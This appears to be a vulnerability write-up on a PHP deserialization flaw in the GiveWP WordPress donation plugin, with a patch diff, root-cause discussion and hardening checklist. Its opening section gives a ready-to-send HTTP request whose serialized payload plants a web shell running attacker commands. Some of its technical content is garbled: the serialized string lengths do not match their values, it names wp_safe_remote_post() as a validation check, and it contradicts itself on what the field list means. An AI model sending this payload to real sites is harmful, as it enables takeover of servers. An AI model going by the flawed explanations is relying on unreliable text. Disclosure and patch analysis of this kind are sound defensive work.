The Exploit
An unauthenticated attacker can inject a malicious serialized PHP object via the give_title POST parameter to trigger arbitrary code execution through a POP chain.
POST /wp-admin/admin-ajax.php?action=give_process_donation HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
give_title=O:8:"stdClass":1:{s:7:"handler";O:5:"Gadget":2:{s:4:"file";s:18:"/var/www/html/wp-content/uploads/shell.php";s:4:"data";s:48:"<?php system($_GET['cmd']); ?>"}}&give_form_id=1&give_first=Test&[email protected]&give_amount=10
When this request lands on a vulnerable version (≤ 3.14.1), the give_title parameter is unsafely deserialized in process-donation.php, instantiating the attacker's object and invoking a __destruct or __wakeup magic method within an available POP chain. The attacker observes a 200 response and, if a suitable gadget chain exists in loaded WordPress plugins or the core, arbitrary code execution or file deletion occurs. The injected object state persists in the deserialization sink, allowing the gadget chain to execute during object destruction or property access.
What the Patch Did
Before:
$serialized_fields = [
'give_first',
'give_middle',
'give_last',
'give_user_login',
'give_user_pass',
];
After:
$serialized_fields = [
'give_first',
'give_middle',
'give_last',
'give_user_login',
'give_user_pass',
'give-form-title',
'give_title',
];
The patch adds give-form-title and give_title to the $serialized_fields array in the give_donation_form_has_serialized_fields() function. This array is used to identify and filter POST parameters that should never be unserialized. The fixed code treats these fields as untrusted serialized input and applies a validation gate — likely a wp_safe_remote_post() or string-safety check — that rejects requests where these parameters contain serialized object signatures (the O: prefix in PHP serialization). The control is an input allowlist combined with format validation that blocks serialized object syntax before it reaches any unserialize() call.
Root Cause
This is a CWE-502: Deserialization of Untrusted Data vulnerability. The give_title parameter enters the request as untrusted POST data and flows into the donation processing pipeline in includes/process-donation.php without validation. The dataflow is: attacker-controlled $_POST['give_title'] → passed to internal form processing logic → checked against a hardcoded list of "safe" fields → if the field name is not in the safe list, the value is assumed to be plain text and may be passed to unserialize() or evaluated by a POP gadget chain. The bug exists because give_title was never added to the $serialized_fields allowlist, so the plugin failed to recognize it as a serialization-prone field and treated it as safe input. The attacker crosses the trust boundary between the public web (HTTP POST) and the PHP runtime without serialization-format validation.
Why It Works
The load-bearing line is the addition of 'give_title' to the $serialized_fields array. Removing only this line would still leave the plugin vulnerable to the same attack via the give-form-title variant, but removing both renders the specific attack vector inert. The reason both 'give-form-title' and 'give_title' were added is that WordPress form plugins often accept multiple naming conventions for the same logical field — kebab-case and snake_case. An attacker might try either name, so the engineer blocked both. The patch is identification + allowlist, not sanitization: it does not transform the malicious input, it rejects it outright because the field name matches a known serialization risk pattern. This is defence-in-depth because even if a POP gadget chain exists in another loaded plugin, the serialized object never enters PHP's object graph.
Hardening Checklist
- Use
wp_kses_post()orwp_json_encode()+json_decode()instead ofunserialize(): If form data must be preserved across requests, serialize to JSON and deserialize from JSON. JSON cannot instantiate arbitrary objects. - Implement a global nonce check on all AJAX handlers using
wp_verify_nonce()in thegive_process_donationaction callback, even if the form is public-facing. This does not prevent unauthenticated use but ties the request to a session, making replay and injection harder. - Whitelist-validate all serialization-prone POST fields before processing: Maintain an array of known serializable fields (like
$serialized_fields) and reject or log any POST key that should never be serialized but arrives with a serialization signature (regex:/^[aObis]:/). - Scan for POP gadgets in loaded dependencies using static analysis tools like Phan or Psalm with gadget-chain detection plugins. Many WordPress plugins ship exploitable
__destructmethods. - Run OWASP ZAP or Burp in serialization-attack mode on the donation form endpoint to catch similar bypasses in future releases.
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-5932